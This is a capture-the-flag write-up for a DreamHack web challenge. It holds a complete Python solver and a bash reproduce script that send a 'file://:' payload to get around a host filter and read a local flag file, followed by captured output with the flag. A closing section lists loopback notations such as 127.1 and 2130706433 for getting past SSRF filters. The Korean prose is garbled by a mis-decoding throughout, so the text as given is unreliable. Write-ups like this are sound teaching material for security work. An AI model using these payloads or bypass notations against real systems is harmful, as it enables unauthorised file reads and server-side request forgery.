docker run -d --name webhttpcli-local -p "${PORT}:8000" webhttpcli-local >/dev/null
sleep 2
docker ps --filter name=webhttpcli-local --format 'container: {{.Names}} {{.Status}} {{.Ports}}'
python3 solve.py 127.0.0.1 "$PORT" --path /app/flag.txt
์ปจํ ์ด๋๊ฐ ๋จ์๋ง์ ํ์ด๋ก๋ ํ ์ค๋ก ๋๋ฏธ ํ๋๊ทธ๊ฐ ๋์จ๋ค. ์ฌ๊ธฐ๊น์ง ํ์ธํ ๋ค์์ผ ๋ผ์ด๋ธ ์ธ์คํด์ค๋ฅผ ์ผฐ๋ค.
๐ Full Exploit
solve.py ์ ๋ฌธ์ด๋ค. ์ธ์๋ก ํธ์คํธ์ ํฌํธ๋ฅผ ๋ฐ๊ณ , --path ๋ก ์ฝ์ ํ์ผ์ ๋ฐ๊ฟ ์ ์๋ค.
#!/usr/bin/env python3
"""web-HTTP-CLI (DreamHack, Silver 2 / web) โ solver
app.py ์ ํธ์คํธ ํํฐ๋ URL ์ netloc ์ ์ฝ๋ก ์ผ๋ก ์ชผ๊ฐ ๊ฒฐ๊ณผ๊ฐ ์ ํํ 2๊ฐ์ผ ๋๋ง
ํต๊ณผํ๋ค. ๋น ํธ์คํธ(":") ๋ฅผ ์ฐ๋ฉด host='' ๊ฐ ๋์ด 'localhost' ๋ ์๋๊ณ '.' ๋ ์์ผ๋ฏ๋ก
ํํฐ๋ฅผ ๊ทธ๋๋ก ์ง๋๊ฐ๋ค. ์คํด ๊ฒ์ฌ๋ ์์ ์์ผ๋ฏ๋ก file:// ๋ฅผ ๊ทธ๋๋ก ์ธ ์ ์๊ณ ,
urllib ์ FileHandler ๋ host ๊ฐ ๋น๋ฉด ๋ก์ปฌ ํ์ผ๋ก ์ด์ด ์ค๋ค.
$ python3 solve.py host3.dreamhack.games 12345
$ python3 solve.py 127.0.0.1 18777 --path /app/flag.txt
"""
import argparse
import socket
import sys
PAYLOAD = "file://:{path}"
def read_until_prompt(sock, timeout=5.0):
"""์๋ฒ๊ฐ ๋ค์ '> ' ํ๋กฌํํธ๋ฅผ ๋ผ ๋๊น์ง ์ฝ์ด ๋ชจ์ ๋ฐ์ดํธ๋ฅผ ๋๋ ค์ค๋ค."""
sock.settimeout(timeout)
buf = b""
while True:
try:
chunk = sock.recv(4096)
except socket.timeout:
break
if not chunk:
break
buf += chunk
if buf.endswith(b"> "):
break
return buf
def run(host, port, path):
url = PAYLOAD.format(path=path)
with socket.create_connection((host, port), timeout=10) as s:
banner = read_until_prompt(s)
sys.stdout.write("[banner]\n" + banner.decode(errors="replace") + "\n")
sys.stdout.write("[send] %s\n" % url)
s.sendall((url + "\n").encode())
resp = read_until_prompt(s)
text = resp.decode(errors="replace")
sys.stdout.write("[recv] " + text + "\n")
s.sendall(b"\n") # ๋น ์ค์ ๋ณด๋ด๋ฉด ์๋ฒ๊ฐ ์ฐ๊ฒฐ์ ๋ซ๋๋ค
return text
def main():
ap = argparse.ArgumentParser()
ap.add_argument("host")
ap.add_argument("port", type=int)
ap.add_argument("--path", default="/app/flag.txt")
a = ap.parse_args()
text = run(a.host, a.port, a.path)
for line in text.splitlines():
if "DH{" in line:
flag = line[line.index("DH{"):]
flag = flag[: flag.index("}") + 1]
print("\n[FLAG] " + flag)
return 0
print("\n[!] ํ๋๊ทธ ๋ฌธ์์ด์ ๋ชป ์ฐพ์๋ค")
return 1
if __name__ == "__main__":
sys.exit(main())๋ผ์ด๋ธ ์ธ์คํด์ค์ ๊ทธ๋๋ก ๋๋ฆฐ ๊ฒฐ๊ณผ๋ค.

[send] file://:/app/flag.txt
[recv] result: DH{5e2c73de0f2b273731665914bfaff022}>
[FLAG] DH{5e2c73de0f2b273731665914bfaff022}์๋ณต ํ ๋ฒ์ด๋ฉด ๋๋๋ค. ๋ก์ปฌ์์ ํ์ธํ ํ์ด๋ก๋๊ฐ ๊ทธ๋๋ก ๋จนํ๋ค.
์ฌํ์ฉ ์คํฌ๋ฆฝํธ๋ ๊ฐ์ด ๋จ๊ฒจ ๋๋ค. ์ธ์ ์์ด ๋๋ฆฌ๋ฉด ๋ก์ปฌ ๋ชจ๋๋ก ์ปจํ ์ด๋๋ฅผ ์ธ์ ์ต์ค ์ฒด์ธ๋ง ๊ฒ์ฆํ๊ณ , ํธ์คํธ์ ํฌํธ๋ฅผ ์ฃผ๋ฉด ๋ผ์ด๋ธ ๋ชจ๋๋ก ์ง์ง ํ๋๊ทธ๋ฅผ ๋ด๋ค. ๋ก์ปฌ ๋ชจ๋๊ฐ ์ป๋ ๊ฑด ๋๋ฏธ ํ๋๊ทธ์ด๋ฏ๋ก ์ถ๋ ฅ์ ๊ทธ๋ ๊ฒ ๋ช ์ํ๋ค.
#!/usr/bin/env bash
# web-HTTP-CLI (DreamHack Silver 2 / web) โ ํ ๋ฐฉ ์ฌํ.
#
# ./reproduce.sh ๋ก์ปฌ ๋ชจ๋(๊ธฐ๋ณธ): Docker ๋ก ๋ฐฐํฌ๋ณธ์ ๊ทธ๋๋ก ๋์
# ์ต์ค ์ฒด์ธ์ด ๋๋์ง ๋๋ฏธ flag ๋ก ๊ฒ์ฆํ๋ค.
# ./reproduce.sh host3.dreamhack.games P ๋ผ์ด๋ธ ๋ชจ๋: ์ง์ง ๋ฌธ์ ์๋ฒ์์ ์ง์ง flag ๋ฅผ ๋ด๋ค.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
DUMMY='DH{dummy_local_flag_for_repro}'
EXPECT=$(python3 -c "import json;print(json.load(open('๋ฌธ์ .json'))['flag'])" 2>/dev/null || echo '')
if [ "$#" -ge 2 ]; then
MODE="live"; HOST="$1"; PORT="$2"
else
MODE="local"; HOST="127.0.0.1"; PORT="${PORT:-18777}"
./local_repro.sh >/dev/null 2>&1 || true
fi
OUT=$(timeout 120 python3 solve.py "$HOST" "$PORT" --path /app/flag.txt 2>&1) || true
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ "$MODE" = "local" ]; then
if [ "$FLAG" = "$DUMMY" ]; then
echo; echo "โ
PASS (๋ก์ปฌ) ์ต์ค ์ฒด์ธ ๋์ ํ์ธ โ ์ป์ ๊ฐ์ ๋๋ฏธ flag ๋ค: $FLAG"
echo " ์ง์ง flag ๋ ๋ผ์ด๋ธ ๋ชจ๋๋ก๋ง ๋์จ๋ค: ./reproduce.sh <host> <port>"
exit 0
fi
echo; echo "โ FAIL (๋ก์ปฌ) ๋๋ฏธ flag ๊ฐ ์ ๋์๋ค (์ป์ ๊ฐ: '${FLAG:-์์}')"; exit 1
fi
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
echo; echo "โ
PASS (๋ผ์ด๋ธ) $FLAG"; exit 0
fi
echo; echo "โ FAIL (๋ผ์ด๋ธ) ์ป์ ๊ฐ: '${FLAG:-์์}' / ๊ธฐ๋: '${EXPECT:-๋ฌธ์ .json ์์}'"; exit 1๐ ๊ฒฐ๋ก
๊ฒ์ฌ๊ธฐ์ ์คํ๊ธฐ๊ฐ ๊ฐ์ ๋ฌธ์์ด์ ๋ค๋ฅด๊ฒ ํ์ฑํ๋ฉด ๊ทธ ์ฌ์ด๊ฐ ์ทจ์ฝ์ ์ด๋ค.
์ด ๋ฌธ์ ์ ํํฐ๋ split ์ธ ๋ฒ์ผ๋ก ํธ์คํธ๋ฅผ ๋ฝ๊ณ , urllib ์ ์ ๊ท์๊ณผ ์์ฒด ๊ท์น์ผ๋ก ํธ์คํธ๋ฅผ ๋ฝ๋๋ค. ๋ ๋ค "ํธ์คํธ๋ฅผ ๊ตฌํ๋ค"๊ณ ๋งํ์ง๋ง ๊ตฌํ์ด ๋ค๋ฅด๋ค. ๊ทธ๋ฌ๋ฉด ๋ ๊ฒฐ๊ณผ๊ฐ ์ด๊ธ๋๋ ์
๋ ฅ์ด ๋ฐ๋์ ์กด์ฌํ๋ค.
URL ์ ๋ค๋ฃจ๋ ์ฝ๋์์ ์ด ์ด๊ธ๋จ์ ํนํ ์์ฃผ ๋์จ๋ค. @, #, ๋ฐฑ์ฌ๋์, ์ ๋์ฝ๋ ์ ๊ทํ, ๊ทธ๋ฆฌ๊ณ ์ฌ๊ธฐ์ ์ด ๋น authority ๊น์ง โ ํ์๋ง๋ค ํด์์ด ๊ฐ๋ฆฌ๋ ์ง์ ์ด ํ๋์ด ์๋๋ค. ์ง์ ๋ฌธ์์ด์ ์ชผ๊ฐ ๊ฒ์ฌํ์ง ๋ง๊ณ , ์ค์ ๋ก ์์ฒญ์ ๋ณด๋ผ ๊ทธ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ํ์๋ก ํ์ฑํ ๊ฒฐ๊ณผ๋ฅผ ๊ฒ์ฌํด์ผ ํ๋ค. ํ์ด์ฌ์ด๋ฉด urllib.parse.urlsplit ์ hostname ์ ์ฐ๋ ์์ด๋ค.
์คํด ํ์ดํธ๋ฆฌ์คํธ๊ฐ ์์ผ๋ฉด ํธ์คํธ ๊ฒ์ฌ๋ ์๋ฏธ๊ฐ ์๋ค.
ํธ์คํธ๋ฅผ ์๋ฌด๋ฆฌ ์ด์ดํ ๋ง์๋ file:// ํ ์ค์ด๋ฉด ํธ์คํธ ๊ฐ๋
์์ฒด๊ฐ ์ฐํ๋๋ค. data:, ftp:, ํ๊ฒฝ์ ๋ฐ๋ผ์๋ gopher: ๊น์ง ์ด๋ ค ์์ ์ ์๋ค. ์ธ๋ถ URL ์ ๋ฐ์ ๋์ ์์ฒญํด ์ฃผ๋ ๊ธฐ๋ฅ์ด๋ผ๋ฉด ํ์ฉํ ์คํด์ ๋จผ์ ๋ชป ๋ฐ๋ ๊ฒ ์์๋ค. http/https ์ธ์๋ ํ์ฑ ๋จ๊ณ์์ ๊ฑฐ์ ํด์ผ ํ๋ค.
except: ํ ์ค์ด ๋๋ฒ๊น
์ ๋ง๊ณ , ๋ฐฉ์ด๋ ๋ง๋๋ค.
์ด ์ฝ๋์ except: ๋ ํ์ฑ ์ค๋ฅยท๋คํธ์ํฌ ์ค๋ฅยทํ์ผ ์์์ ์ ๋ถ error ๋ก ๋ญ๊ฐฐ๋ค. ๊ณต๊ฒฉ์ ์
์ฅ์์๋ ์คํ๋ ค ์ ๋ณด๊ฐ ์ค์ด ํท๊ฐ๋ฆฌ์ง๋ง, ์ด์์ ์
์ฅ์์๋ ๋ฌด์์ด ์๋๋๋์ง ๋ก๊ทธ๊ฐ ํ๋๋ ๋จ์ง ์๋๋ค. ์ฌ๊ธฐ์๋ ๊ทธ๊ฒ ๋ฐฉ์ด์ ๊ณต๋ฐฑ์ด๋ค. ์์ธ๋ ์ข
๋ฅ๋ณ๋ก ์ก๊ณ , ์ต์ํ ์๋ฒ ์ชฝ์๋ ๋จ๊ฒจ์ผ ํ๋ค.
IP ๋ฅผ ์ ํ๊ธฐ๋ก๋ง ๋ง๋ ํํฐ๋ ์ธ์ ๋ ๋ซ๋ฆฐ๋ค.
'.' in host ๋ 127.0.0.1 ์ ๋ง์ง๋ง 0, 127.1, 2130706433, [::1] ์ ๊ทธ๋๋ก ํต๊ณผ์ํจ๋ค. ์ด ๋ฌธ์ ์์๋ ๋ง์นจ urllib ์ file:// ์ฒ๋ฆฌ๊ฐ ๋น ํธ์คํธ๋ง ๋ฐ์ ์ค์ ๋ค๋ฅธ ํ๊ธฐ๊ฐ ์ ๋จนํ์ ๋ฟ์ด๊ณ , ๋์์ด HTTP ์๋ค๋ฉด ์ ์ ํ๊ธฐ ํ ๋ฐฉ์ SSRF ๊ฐ ์ฑ๋ฆฝํ์ ๊ฒ์ด๋ค. ๋ฃจํ๋ฐฑ ์ฐจ๋จ์ ๋ฌธ์์ด์ด ์๋๋ผ ํด์๋ ์ฃผ์๋ก ํ๋จํด์ผ ํ๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ